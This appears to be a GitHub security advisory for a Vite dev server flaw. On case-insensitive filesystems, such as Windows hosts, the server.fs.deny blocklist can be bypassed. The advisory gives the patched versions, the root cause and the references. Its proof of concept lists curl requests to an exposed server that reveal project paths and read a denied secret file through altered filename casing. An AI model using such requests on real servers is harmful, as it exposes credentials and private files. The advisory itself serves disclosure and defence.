GHSA-c24v-8rfc-w8vw
Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Details
### Summary [Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
### Patches Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
### Details Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See `picomatch` usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files.
### PoC **Setup** 1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance. - `npm run dev -- --host 0.0.0.0` - Publicly accessible for the time being here: http://20.12.242.81:5173/ 2. Created dummy secret files, e.g. `custom.secret` and `production.pem` 3. Populated `vite.config.js` with ```javascript export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } } ```
**Reproduction** 1. `curl -s http://20.12.242.81:5173/@fs//` - Descriptive error page reveals absolute filesystem path to project root 2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js` - Discoverable configuration file reveals locations of secrets 3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT` - Secrets are directly accessible using case-augmented version of filename
**Proof** 
### Impact **Who** - Users with exposed dev servers on environments with case-insensitive filesystems
**What** - Files protected by `server.fs.deny` are both discoverable, and accessible
Are you affected?
Enter the version of the package you're using.
Affected packages
References
- https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw [WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2023-34092 [ADVISORY]
- https://nvd.nist.gov/vuln/detail/CVE-2024-23331 [ADVISORY]
- https://github.com/vitejs/vite/commit/0cd769c279724cf27934b1270fbdd45d68217691 [WEB]
- https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5 [WEB]
- https://github.com/vitejs/vite/commit/a26c87d20f9af306b5ce3ff1648be7fa5146c278 [WEB]
- https://github.com/vitejs/vite/commit/eeec23bbc9d476c54a3a6d36e78455867185a7cb [WEB]
- https://github.com/vitejs/vite [PACKAGE]
- https://vitejs.dev/config/server-options.html#server-fs-deny [WEB]